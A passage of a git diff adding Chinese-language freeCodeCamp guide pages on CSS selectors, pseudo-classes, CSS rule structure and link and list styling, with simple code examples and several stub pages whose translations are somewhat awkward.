+    <div class="blueBg"></div> 
+    <div class="blueBg"></div> 
+  </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+如果您想了解有关CSS“类”选择器的更多信息，请访问[此页面](https://css-tricks.com/the-difference-between-id-and-class/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/attribute/dollar-sign-equals/index.md b/client/src/guide/chinese/css/selectors/attribute/dollar-sign-equals/index.md
new file mode 100644
index 0000000000..f9e90a67ce
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/attribute/dollar-sign-equals/index.md
@@ -0,0 +1,18 @@
+---
+title: Dollar Sign Equals
+localeTitle: 美元符号等于
+---
+## 美元符号等于
+
+美元符号CSS属性选择器或$用于选择以特定值结尾的属性。
+
+#### 例
+
+如果要搜索文件类型为.pdf的所有锚链接并将其设置为红色，则可以这样执行：
+
+```css
+a[href$=".pdf"] { 
+   color: red; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/attribute/hat-equals/index.md b/client/src/guide/chinese/css/selectors/attribute/hat-equals/index.md
new file mode 100644
index 0000000000..51119b1305
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/attribute/hat-equals/index.md
@@ -0,0 +1,11 @@
+---
+title: Hat Equals
+localeTitle: 帽子等于
+---
+## 帽子等于
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/hat-equals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/attribute/index.md b/client/src/guide/chinese/css/selectors/attribute/index.md
new file mode 100644
index 0000000000..8574ee1fb3
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/attribute/index.md
@@ -0,0 +1,11 @@
+---
+title: Attribute
+localeTitle: 属性
+---
+## 属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/attribute/star/index.md b/client/src/guide/chinese/css/selectors/attribute/star/index.md
new file mode 100644
index 0000000000..8ed900bc66
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/attribute/star/index.md
@@ -0,0 +1,18 @@
+---
+title: Star
+localeTitle: 星
+---
+## 星
+
+Star CSS属性选择器或\*用于选择包含特定值的属性。
+
+#### 例
+
+如果要在URL值中的任何位置搜索包含“代码”的所有锚链接并将其设为黄色，则可以这样执行：
+
+```css
+a[href*="code"] { 
+   color: yellow; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/ajacent-sibling/index.md b/client/src/guide/chinese/css/selectors/general/ajacent-sibling/index.md
new file mode 100644
index 0000000000..8801372da6
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/ajacent-sibling/index.md
@@ -0,0 +1,11 @@
+---
+title: Ajacent Sibling
+localeTitle: Ajacent兄弟姐妹
+---
+## Ajacent兄弟姐妹
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/ajacent-sibling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/child/index.md b/client/src/guide/chinese/css/selectors/general/child/index.md
new file mode 100644
index 0000000000..46c5c6b20f
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/child/index.md
@@ -0,0 +1,27 @@
+---
+title: Child
+localeTitle: 儿童
+---
+## 儿童
+
+子选择器由`>`表示，并放在两个选择器之间： `parent > child` 。它匹配任何第二个选择器，它们是第一个选择器（父级）的子级。第二个选择器必须是第一个选择器的直接子项。
+
+这是一个语法示例：
+
+```css
+first selector (parent) > second selector (child) { 
+    css declarations; 
+ } 
+```
+
+这是一个代码示例，它匹配`div`父级的所有直接`span`元素：
+
+```css
+div > span { 
+    background-color: red; 
+ } 
+```
+
+### 更多信息：
+
+*   [W3C儿童选择器工作草案](https://www.w3.org/TR/CSS22/selector.html#child-selectors)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/descendant/index.md b/client/src/guide/chinese/css/selectors/general/descendant/index.md
new file mode 100644
index 0000000000..75ae73062d
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/descendant/index.md
@@ -0,0 +1,11 @@
+---
+title: Descendant
+localeTitle: 后裔
+---
+## 后裔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/descendant/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/general-sibling/index.md b/client/src/guide/chinese/css/selectors/general/general-sibling/index.md
new file mode 100644
index 0000000000..8deb6207f6
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/general-sibling/index.md
@@ -0,0 +1,11 @@
+---
+title: General Sibling
+localeTitle: 将军兄弟姐妹
+---
+## 将军兄弟姐妹
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/general-sibling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/id/index.md b/client/src/guide/chinese/css/selectors/general/id/index.md
new file mode 100644
index 0000000000..52fb309a3b
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/id/index.md
@@ -0,0 +1,11 @@
+---
+title: Id
+localeTitle: ID
+---
+## ID
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/id/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/index.md b/client/src/guide/chinese/css/selectors/general/index.md
new file mode 100644
index 0000000000..a30a70086f
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/index.md
@@ -0,0 +1,11 @@
+---
+title: General
+localeTitle: 一般
+---
+## 一般
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/type/index.md b/client/src/guide/chinese/css/selectors/general/type/index.md
new file mode 100644
index 0000000000..b58d07f023
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/type/index.md
@@ -0,0 +1,37 @@
+---
+title: Type
+localeTitle: 类型
+---
+## 类型
+
+类型选择器按节点（标记）名称选择元素。
+
+#### 代码语法
+
+```css
+* { 
+    css declarations; 
+ } 
+```
+
+#### 代码示例
+
+```css
+h1 { 
+    background-color: red; 
+ } 
+```
+
+选择所有h1元素并将背景颜色设置为红色。
+
+```css
+div { 
+    width: 100px; 
+ } 
+```
+
+选择所有div元素并设置元素宽度100px。
+
+#### 更多信息：
+
+*   [W3C工作草案](https://www.w3.org/TR/CSS22/selector.html#type-selectors)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/general/universal/index.md b/client/src/guide/chinese/css/selectors/general/universal/index.md
new file mode 100644
index 0000000000..c5ba8734ae
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/general/universal/index.md
@@ -0,0 +1,48 @@
+---
+title: Universal
+localeTitle: 普遍
+---
+## 普遍
+
+通用选择器（\*）选择所有元素。它还选择元素内的所有元素。您可以将通用选择器与任何其他选择器连接。
+
+### 代码语法
+
+```css
+* { 
+  css declarations; 
+ } 
+```
+
+```css
+element * { 
+  css declarations; 
+ } 
+```
+
+#### 代码示例
+
+此选择器匹配所有元素并将字体颜色设置为绿色。
+
+```css
+* { 
+  color: green; 
+ } 
+```
+
+此选择器选择所有div元素并将字体颜色设置为绿色。
+
+```css
+div * { 
+  color: green; 
+ } 
+```
+
+此选择器选择语言属性值以en开头的所有元素。
+
+```css
+* [lang^=en] { 
+  color: green; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/index.md b/client/src/guide/chinese/css/selectors/index.md
new file mode 100644
index 0000000000..d2deba8d73
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/index.md
@@ -0,0 +1,48 @@
+---
+title: Selectors
+localeTitle: 选择
+---
+# 选择
+
+选择器是用于定位HTML元素以应用样式的CSS规则。标记名称，类名称，id和属性是用作选择器的一些钩子。
+
+## 选择器语法
+
+按特定顺序排列的选择器将构建一个规则来定位元素。一个例子，
+
+```css
+/* selects anchor tags */ 
+ a { 
+    color: orange; 
+ } 
+ 
+ /* selects elements with hero class */ 
+ .hero { 
+    text-align: center; 
+ } 
+```
+
+## 选择器的类型
+
+输入|描述 ------- | ------------ 类型选择器|标签名称用于选择元素，如`h1`或`a` 。 通用选择器|适用于所有元素的选择器。 `div *`匹配div元素中的所有元素。 属性选择器|选择器基于其属性\[以及可选的值\]来定位元素。 `h1[title]`选择具有`title`属性的`h1`元素。 类选择器|使用类名定位元素的选择器。 ID选择器|使用ID定位元素的选择器。 `#logo`选择`logo`为ID的元素。 伪类选择器|特殊选择器，根据其状态定位元素。 `a:hover`当指针悬停在链接上时， `a:hover`选择器应用样式。
+
+## 选择器组合器
+
+组合|目的 ----------- | ------------ `white space` |后裔组合子。 `.nav li`选择类`.nav`所有`li`子元素，包括嵌套的`li`元素。 `>` |儿童组合子。 `.menu > li`选择所有具有`.menu`类的元素直接子元素的li。 `+` |相邻的兄弟组合子。 `.logo + h1`目标是`h1` ，它是`.logo`类的直接兄弟。 `~` |一般兄弟组合。 `header ~ div` `div`元素作为`header`元素的兄弟元素。
+
+本节详细介绍了所有这些选民。
+
+#### 更多信息：
+
+您可以在这些资源上了解有关选择器的更多信息：
+
+*   [官方CSS3选择器规范](https://www.w3.org/TR/css3-selectors)
+*   [Mozilla Developer Network上的选择器页面](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors)
+*   [FreeCodeCamp指南上的CSS选择器备忘单](https://guide.freecodecamp.org/css/tutorials/css-selectors-cheat-sheet)
+
+CSS中的选择器（级联样式表）是根据_特定性_确定的，我们可以更加具体地说明我们的样式规则，并覆盖可能针对相同元素但不具体的其他规则。此特定层次结构的工作方式基于权重，意味着元素选择器的权重为1（一），类选择器的权重为10（十），id选择器的权重为一百（100）。我们能够将不同的选择器组合在一起，更具体地说明我们要改变的元素。
+
+举个例子：
+
+`css p { color: blue; } p .red { color: red; }` 我们的类型选择器p将选择我们的html文档中的所有p元素，但它只有一个权重。相反，类选择器的权重为11，因为我们将类型选择器与类选择器组合在一起（此选择器将所有p元素与红色类匹配）。 - \*直接定向规则将始终优先于从其祖先继承元素的规则。 - \*仅当多个声明针对同一元素时才应用特定，然后才应用此规则。  
+\- \*特性通常是为什么你们有些样式规则不适用于你期望它们的元素。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/pseudo/active/index.md b/client/src/guide/chinese/css/selectors/pseudo/active/index.md
new file mode 100644
index 0000000000..03be5eb09c
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/pseudo/active/index.md
@@ -0,0 +1,26 @@
+---
+title: Active
+localeTitle: 活性
+---
+## 活性
+
+当用户激活元素时，CSS：活动选择器会更改HTML元素的样式。此选择器通常向用户提供已单击元素的确认。 ：主动选择器最常用于`<a>`和`<button>`元素，但可用于所有元素。
+
+如果正在使用多个CSS伪选择器，则：active选择器必须位于：hover选择器之后。
+
+在下面的示例中，当用户单击链接时，文本颜色将从黑色变为红色，直到单击操作停止。
+
+```css
+a { 
+  color: black; 
+ } 
+ 
+ a:active { 
+  color: red; 
+ } 
+```
+
+#### 更多信息：
+
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/:active)
+*   [W3学校](https://www.w3schools.com/cssref/sel_active.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/pseudo/focus/index.md b/client/src/guide/chinese/css/selectors/pseudo/focus/index.md
new file mode 100644
index 0000000000..3bfeaf3f30
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/pseudo/focus/index.md
@@ -0,0 +1,63 @@
+---
+title: Focus
+localeTitle: 焦点
+---
+## 焦点
+
+### 定义
+
+`:focus`表示已接收焦点状态的元素，由键盘事件触发。触发操作来自按**TAB**键，可在视觉上围绕元素创建环。
+
+### 句法
+
+`:focus`
+
+### 例
+```
+a:focus { 
+  color: red; 
+ } 
+```
+
+### 产量
+
+[JSfiddle Link](https://jsfiddle.net/ejae7vb3/1/)
+
+#### 更多信息：
+
+[MDN - Mozilla开发者网络| ：焦点 - CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus)
+
+：focus CSS伪类用于选择具有焦点的元素（例如表单输入）。
+
+通常在用户单击或点击元素或使用键盘的“tab”键选择它时触发。
+
+句法：
+
+```css
+:focus 
+```
+
+## 例
+
+HTML：
+
+```html
+
+<form> 
+  <input type="text" value="The background will turn yellow when you click on it."> 
+ </form> 
+```
+
+CSS：
+
+```css
+input:focus { 
+   background-color: yellow; 
+ } 
+```
+
+#### 更多信息：
+
+有关更多信息，请访问[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus)
+
+[W3.org | CSS文档](https://www.w3.org/TR/CSS2/selector.html#dynamic-pseudo-classes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/pseudo/hover/index.md b/client/src/guide/chinese/css/selectors/pseudo/hover/index.md
new file mode 100644
index 0000000000..118a268f77
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/pseudo/hover/index.md
@@ -0,0 +1,95 @@
+---
+title: Hover
+localeTitle: 徘徊
+---
+## 徘徊
+
+当你使用指针设备（通常是鼠标指针）与元素（选择器）交互时，会触发`selector:hover`伪类。悬停在其上的元素的样式将被`selector:hover`定义的样式覆盖`selector:hover`伪类。 要正确设置链接/元素的样式，应按顺序定义规则： - ：link - ：visited - ：hover - ：active
+
+**句法 ：**
+
+```css
+ selector:hover { 
+    css declarations; 
+ } 
+```
+
+## 更多例子
+
+下面是一些更复杂的示例，说明了如何使用`:hover`伪类。请记住， `.second` DIV **必须**出现在后`.first`在所有的这些例子格。
+
+1.  当您将鼠标悬停在元素上时会更改相邻的兄弟元素。
+
+```html
+
+<style> 
+  .first:hover + .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first">First</div> 
+ <div class="second">Second</div> 
+```
+
+上面的代码将背景颜色改变`.second` ，当你将鼠标悬停在蓝色`.first` 。
+
+2.  当您将鼠标悬停在某个元素上时，会更改一般兄弟。
+
+```html
+
+<style> 
+  .first:hover ~ .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first">First</div> 
+ <div class="middle">Middle</div> 
+ <div class="second">Second</div> 
+```
+
+这个例子提供了更多的灵活性，因为两个元素不再必须直接相邻。
+
+3.  当您将鼠标悬停在元素上时，请更改直接后代。
+
+```html
+
+<style> 
+  .first:hover > .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first"> 
+  First 
+  <div class="second">Second</div> 
+ </div> 
+```
+
+上面的代码将背景颜色改变`.second` ，当你将鼠标悬停在蓝色`.first` 。
+
+4.  将鼠标悬停在元素上时，更改一般后代。
+
+```html
+
+<style> 
+  .first:hover .second { 
+    background-color: blue; 
+  } 
+ </style> 
+ 
+ <div class="first"> 
+  First 
+  <div class="container"> 
+    Container 
+    <div class="second">Second</div> 
+  </div> 
+ </div> 
+```
+
+如在示例2中，这也提供了更大的灵活性，因为两个元件不再必须直接相邻。您会注意到，在示例3和4中，可悬停区域更大。这种情况发生的原因是，只要光标位于其中一个子`.first` ，您仍然会悬停在`.first` 。
+
+#### 更多信息：
+
+[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/%3Ahover) [W3Schools的](https://www.w3schools.com/cssref/sel_hover.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/pseudo/index.md b/client/src/guide/chinese/css/selectors/pseudo/index.md
new file mode 100644
index 0000000000..756fe303ea
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/pseudo/index.md
@@ -0,0 +1,32 @@
+---
+title: Pseudo
+localeTitle: 伪
+---
+# 伪选择器
+
+伪选择器提供了使用伪类或伪元素来定位元素的方法。
+
+## 结构伪类
+
+结构伪类提供了一种基于位置来定位元素的方法。
+
+班级|描述 --------- | ------------ `:root` |文件的根。在HTML文档的上下文中，这将是顶部的`html`标记。它可能意味着其他文档中的不同元素，如XML或SVG。 `:only-child`一个元素，它是其父元素的唯一子元素。 `:first-child` |父母的第一个孩子。 `:last-child` |父元素的最后一个子元素。 `:nth-child(n)` |其父母的第n个孩子。 `:nth-last-child(n)` |来自最后一个孩子的第n个孩子。相反`:nth-child` 。 `:only-of-type` |在其兄弟姐妹中与其他类型的唯一元素。 `:first-of-type` |兄弟姐妹中的第一个元素。 `:last-of-type` |兄弟姐妹中该类型的最后一个元素。 `:nth-of-type(n)` |第n个同类型的兄弟姐妹。 `:nth-last-of-type(n)` |从最后一个类型的同类型的第n个兄弟。相反`:nth-of-type` 。 `:empty` |没有任何子元素的元素。
+
+## UI状态伪类
+
+UI状态伪类提供了一种基于其当前状态来定位元素的方法。
+
+班级|描述 --------- | ------------ `:link` |未访问的链接元素。 `:visited` |已经访问了一个链接。 `:hover` |鼠标指针悬停的元素。 `:active` |单击鼠标指针但尚未释放的元素。 `:focus` |一个有焦点的元素。对于辅助功能很重要，例如，使用`tab`键进行导航时。 `:enabled` |处于启用状态的元素。 `:disabled` |已禁用的元素。 `:checked` |选中的复选框或单选按钮。
+
+## 伪元素
+
+另一方面，伪元素是在特殊位置动态生成的元素或元素。
+
+选择器|描述 --------- | ------------ `::first-line` |元素的第一行，通常是容器或段落。 `::first-letter` |一个元素的字母。广泛用于造型滴盖。 `::before` |在实际元素之前使用自己的内容创建的动态元素。 `::after` |在实际元素之后使用自己的内容创建的动态元素。
+
+## 更多信息：
+
+其他信息可在以下参考资料中找到。
+
+*   [官方CSS3选择器规范](https://www.w3.org/TR/css3-selectors/#structural-pseudos)
+*   [选择器上的Mozilla开发人员网络页面](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/pseudo/link/index.md b/client/src/guide/chinese/css/selectors/pseudo/link/index.md
new file mode 100644
index 0000000000..2f29c94007
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/pseudo/link/index.md
@@ -0,0 +1,26 @@
+---
+title: Link
+localeTitle: 链接
+---
+## 链接
+
+`:link` CSS伪类用于定位具有`href`属性的所有未访问元素（例如，锚`<a>`元素），即使`href`具有空值。
+
+一般语法：
+
+```css
+target:link 
+```
+
+## 例
+
+```css
+/* Selects any <a> that has not been visited yet */ 
+ a:link { 
+    color: red; 
+ } 
+```
+
+#### 更多信息：
+
+*   [：链接（MDN）](https://developer.mozilla.org/en-US/docs/Web/CSS/:link)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/selectors/pseudo/visited/index.md b/client/src/guide/chinese/css/selectors/pseudo/visited/index.md
new file mode 100644
index 0000000000..9e9951ade5
--- /dev/null
+++ b/client/src/guide/chinese/css/selectors/pseudo/visited/index.md
@@ -0,0 +1,36 @@
+---
+title: Visited
+localeTitle: 访问
+---
+## 访问
+
+CSS：visited选择器更改用户访问过的链接的样式。此选择器用于帮助用户区分他们拥有和未访问过的链接。
+
+如果正在使用多个CSS伪选择器，则：visited选择器必须位于：link选择器之后。
+
+在下面的示例中，用户单击链接后，文本颜色将从黑色变为绿色。
+
+```css
+ a { 
+   color: black; 
+ } 
+ 
+ a:visited { 
+   color: green; 
+ } 
+```
+
+由于用户隐私原因，：visited选择器仅限于修改以下CSS属性的样式：
+
+*   颜色
+*   背景颜色
+*   边框颜色（包括不同边的边框颜色）
+*   列治色
+*   轮廓色
+*   填充和描边（用于SVG图像）
+
+#### 更多信息：
+
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
+*   [W3学校](https://www.w3schools.com/cssref/sel_visited.asp)
+*   [CSS技巧和元素的技巧指南](https://www.smashingmagazine.com/2016/05/an-ultimate-guide-to-css-pseudo-classes-and-pseudo-elements/#visited)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/structure-of-css/index.md b/client/src/guide/chinese/css/structure-of-css/index.md
new file mode 100644
index 0000000000..992dc1c99d
--- /dev/null
+++ b/client/src/guide/chinese/css/structure-of-css/index.md
@@ -0,0 +1,49 @@
+---
+title: Structure of CSS
+localeTitle: CSS的结构
+---
+## CSS结构
+
+CSS规则遵循以下基本结构：
+
+```CSS
+selector { 
+  property: value; 
+  property: value; 
+ } 
+```
+
+大括号内的所有内容都会为选择[器选择的内容设置](https://guide.freecodecamp.org/css/selectors)样式。 CSS规则内部是一组[属性](https://guide.freecodecamp.org/css/properties) /值对。
+
+你可以让不同的选择器与昏迷分开：
+
+```CSS
+selector1, 
+ selector2 { 
+  property: value; 
+ } 
+```
+
+多个CSS规则可以放在一个CSS文件中 - 这是一个例子：
+
+```CSS
+h1 { 
+  color: red; 
+ } 
+ 
+ div { 
+  text-align: center; 
+  color: blue; 
+ } 
+ 
+ img { 
+  margin-left: 2px; 
+  margin-top: 100px; 
+ } 
+```
+
+#### 更多信息：
+
+*   [代码Web上的CSS语法](https://codetheweb.blog/2017/11/11/css-syntax/)
+*   有关[CSS选择器的](https://guide.freecodecamp.org/css/selectors)更多信息
+*   有关[CSS属性的](https://guide.freecodecamp.org/css/properties)更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/styling-links/index.md b/client/src/guide/chinese/css/styling-links/index.md
new file mode 100644
index 0000000000..c2dbb143c7
--- /dev/null
+++ b/client/src/guide/chinese/css/styling-links/index.md
@@ -0,0 +1,82 @@
+---
+title: Styling Links
+localeTitle: 样式链接
+---
+## 样式链接
+
+链接可以使用任何CSS属性设置样式，例如`color` ， `font-family` ， `font-size`和`padding` 。 这是一个简单的例子：
+
+```css
+a { 
+    color: hotpink; 
+ } 
+```
+
+## 此外，链接的样式可以根据它们所处的状态而有所不同。
+
+链接也有4个状态，许多程序员对每个状态的设置方式不同。 这四个州是：
+
+*   `a:link` ：未访问的，未被忽略的链接
+*   `a:visited` ：已访问，已点击的链接
+*   `a:hover` ：当用户的鼠标悬停在它上面时的链接
+*   `a:active` ：单击时的链接
+
+`<a href="">`属性负责创建URL，并且可以使用许多CSS样式属性进行修改，但默认情况下它有一些：
+
+1.  强调
+2.  蓝色
+
+您可以通过添加更改`color`和`text-decoration`属性来更改这些。
+
+```css
+   color: black; 
+   text-decoration: none; 
+```
+
+您还可以使用这些属性（也称为链接状态）基于交互设置链接的样式：
+
+*   a：链接 - 正常的，未访问的链接
+*   a：已访问 - 用户访问过的链接
+*   a：悬停 - 当用户将鼠标悬停在其上时的链接
+*   a：active - 单击时的链接
+
+以下是一些使用4种状态的示例CSS：
+
+```css
+a:link { color: red; } 
+ a:visited { color: blue; } 
+ a:hover { color: green; } 
+ a:active { color: blue; } 
+```
+
+**请注意** ，在为链接状态设置样式时，有一些_排序规则_ 。
+
+*   `a:hover`必须在`a:link`和`a:visited`
+    
+*   `a:active`必须在`a:hover`
+    
+    a：链接 - 正常的，未访问的链接 a：已访问 - 用户访问过的链接 a：悬停 - 当用户将鼠标悬停在其上时的链接 a：active - 单击时的链接
+    
+
+```css
+/* unvisited link */ 
+ a:link { 
+    color: red; 
+ } 
+ 
+ /* visited link */ 
+ a:visited { 
+    color: green; 
+ } 
+ 
+ /* mouse over link */ 
+ a:hover { 
+    color: hotpink; 
+ } 
+ 
+ /* selected link */ 
+ a:active { 
+    color: blue; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/styling-lists/index.md b/client/src/guide/chinese/css/styling-lists/index.md
new file mode 100644
index 0000000000..baba6c43f4
--- /dev/null
+++ b/client/src/guide/chinese/css/styling-lists/index.md
@@ -0,0 +1,207 @@
+---
+title: Styling Lists
+localeTitle: 样式列表
+---
+## 样式列表
+
+### HTML列表回顾
+
+HTML中有两种主要类型的列表 - **有序**和**无序** 。
+
+在**有序**列表（ `<ol></ol>` ）中，列表项的顺序很重要。这些项目可以按数字，罗马数字，字母数字或其他类型的标记顺序出现。有序列表的默认标记是数字（或`decimal` ）：
+
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/ordered-list.png?raw=true "有序清单")
+
+在**无序**列表（ `<ul></ul>` ）中，列表项的顺序无关紧要。项目以项目符号格式显示。无序列表的默认标记是圆形项目符号或`disc` 。
+
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/unordered-list.png?raw=true "无序列表")
+
+使用`<li></li>`标记创建有序或无序列表中的每个列表项。
+
+### 列表特定样式
+
+特定于样式列表的常用属性有三种： `list-style-type` ， `list-style-position`和`list-style-image` 。还有一个速记属性，包括所有三个。
+
+#### `list-style-type`
+
+出现在有序和无序列表中的标记（或项目符号点）可以通过多种方式设置样式。用于样式化标记类型的CSS属性是`list-style-type` 。有序列表的默认`list-style-type`值是`decimal` ，而无序列表的默认值是`disc` 。
+
+有序列表示例：
+
+> ```css
+> /* css */ 
+>  ol { 
+>   list-style-type: upper-roman; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-upper-roman.png?raw=true "list-style-type upper-roman")
+
+无序列表示例：
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-type: square; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-square.png?raw=true "list-style-type square")
+
+没有标记示例：
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-type: none; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-type-none.png?raw=true "list-style-type none")
+
+`list-style-type`属性的可接受值包括：
+
+_无序：_
+
+*   光盘（ _默认_ ）
+*   圈
+*   广场
+
+_排序：_
+
+*   十进制（ _默认_ ）
+*   小数领先的零
+*   低罗马
+*   上罗马
+*   降低希腊
+*   较低的拉丁
+*   上拉丁
+*   亚美尼亚
+*   格鲁吉亚
+*   下-α
+*   上-α
+
+_其他：_
+
+*   没有
+
+注意：上面列出的所有属性值都可用于为有序列表和无序列表设置样式（例如：带有`square`列表标记的有序列表）。
+
+#### `list-style-position`
+
+`list-style-position`控制列表标记是出现在每个列表项元素的内部还是外部（ `<li></li>` ）。该属性接受两个值， `outside` （默认）或`inside` 。
+
+将标记`outside`列表项元素`outside` ，每个列表项的所有文本行和子行将垂直对齐：
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-position: outside; /* default */ 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-position-outside.png?raw=true "list-style-position outside")
+
+将标记`inside` ，每个列表项的第一个文本行将缩进，以便为标记腾出空间。相同列表项的任何子行都将与标记对齐，而不是与第一个文本行对齐：
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-position: inside; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-position-inside.png?raw=true "list-style-position inside")
+
+#### `list-style-image`
+
+`list-style-image`属性接受图像URL代替列表标记。此属性的默认值为`none` 。
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-image: url(https://url-to-image); 
+>  } 
+> 
+> ```
+
+#### `list-style`速记
+
+`list-style`是上面列出的三个样式属性的简写属性。 `list-style`接受的值的顺序是`list-style-type` ， `list-style-position`和`list-style-image` 。如果省略任何值，将使用该属性的默认值。
+
+> 例：
+> 
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style: circle inside none; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-shorthand.png?raw=true "列表式速记")
+
+#### 更多列表特定的样式
+
+有序列表标签还接受控制其列表项的流量，计数或特定标记值的属性。这些包括`start` ， `reversed`和`value`属性。有关更多详细信息，请参阅下面列出的MDN资源。
+
+### 一般造型
+
+列表内容可以像其他`p`或`div`元素一样进行样式设置。 `color` ， `font-family` ， `margin` ， `padding`或`border`只是可以添加到`ul` ， `ol`或`li`元素的属性的几个示例。
+
+请注意，添加到`ul`或`ol`元素的任何样式都将影响整个列表。直接添加到`li`元素的样式将影响单个列表项。在下面的示例中，border和background-color属性在list和list item元素之间的样式不同：
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style-type: circle; 
+>   border: 2px solid blue; 
+>   background-color: lightblue; 
+>  } 
+>  li { 
+>   margin: 5px; 
+>   background-color: lightyellow; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-styles.png?raw=true "列表式的一般造型")
+
+#### 列表间距
+
